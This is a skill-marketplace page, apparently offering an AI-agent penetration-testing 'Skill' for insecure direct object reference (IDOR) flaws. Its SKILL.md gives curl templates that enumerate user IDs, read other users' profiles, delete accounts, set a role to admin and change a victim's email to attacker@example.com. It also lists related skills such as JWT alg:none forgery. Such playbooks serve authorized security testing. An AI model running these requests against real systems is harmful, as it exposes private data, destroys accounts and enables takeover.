在 Manus 中运行任何 Skill
一键导入
一键导入
一键在 Manus 中运行任何 Skill
开始使用idor
星标2
分支0
更新时间2026年6月3日 04:04
检测不安全的直接对象引用(IDOR)漏洞,通过篡改对象标识符越权访问或修改其他用户的数据。
安装
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
SKILL.md
readonly菜单
检测不安全的直接对象引用(IDOR)漏洞,通过篡改对象标识符越权访问或修改其他用户的数据。
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
通过被动来源和受控主动 DNS 枚举目标子域名,发现更多授权攻击面入口。
使用 agent-browser 在授权范围内执行浏览器交互验证,并在需要视觉判断时调用 pents vision-review 生成结构化视觉复核结果。
检测 API 中的功能级授权破坏(BFLA),验证普通用户是否能通过直接调用管理端点或操纵 HTTP 方法来执行管理员功能。
检测 API 中的对象级授权缺陷(BOLA/IDOR),通过篡改对象标识符越权访问或修改其他用户的数据。
利用 JWT 库接受 alg:none 的漏洞绕过签名验证,伪造任意 Token 实现权限提升。
检测 API 中的批量赋值漏洞,通过在请求体中添加非预期字段修改不应被客户端控制的属性。
| name | idor |
| description | 检测不安全的直接对象引用(IDOR)漏洞,通过篡改对象标识符越权访问或修改其他用户的数据。 |
| category | web |
| source | xalgorix |
| tags | ["IDOR","越权","授权缺陷","OWASP Top 10"] |
| required_tools | ["curl","ffuf"] |
# 常见的对象引用位置
# URL 路径: /api/users/123, /orders/456
# 查询参数: ?user_id=123, ?doc=invoice_001
# POST body: {"user_id": 123, "order_ref": "ORD-2024"}
# HTTP 头: X-User-Id: 123
用账号 A 访问自己的资源,保存完整请求和响应:
curl -s "https://<target>/api/users/100/profile" \
-H "Authorization: Bearer <user_a_token>" \
-o baseline_a.json
用账号 A 的凭据访问账号 B 的资源:
# 尝试访问其他用户的资源
curl -s "https://<target>/api/users/101/profile" \
-H "Authorization: Bearer <user_a_token>"
# 枚举 ID 范围
for id in $(seq 1 50); do
code=$(curl -s -o /dev/null -w "%{http_code}" \
"https://<target>/api/users/$id/profile" \
-H "Authorization: Bearer <user_a_token>")
[ "$code" != "403" ] && echo "ID $id: $code"
done
用普通用户凭据尝试管理操作:
# 尝试删除操作
curl -X DELETE "https://<target>/api/users/101" \
-H "Authorization: Bearer <user_a_token>"
# 尝试修改角色
curl -X PUT "https://<target>/api/users/100" \
-H "Authorization: Bearer <user_a_token>" \
-H "Content-Type: application/json" \
-d '{"role": "admin"}'
# GraphQL 查询中的 IDOR
curl -X POST "https://<target>/graphql" \
-H "Authorization: Bearer <user_a_token>" \
-d '{"query":"{ user(id: 101) { email phone } }"}'
# 批量操作中的 IDOR
curl -X POST "https://<target>/api/bulk-delete" \
-H "Authorization: Bearer <user_a_token>" \
-d '{"ids": [101, 102, 103]}'
如果只读 IDOR 确认,尝试升级为写入类操作:
# 如果可读取他人数据,尝试修改
curl -X PATCH "https://<target>/api/users/101" \
-H "Authorization: Bearer <user_a_token>" \
-d '{"email": "attacker@example.com"}'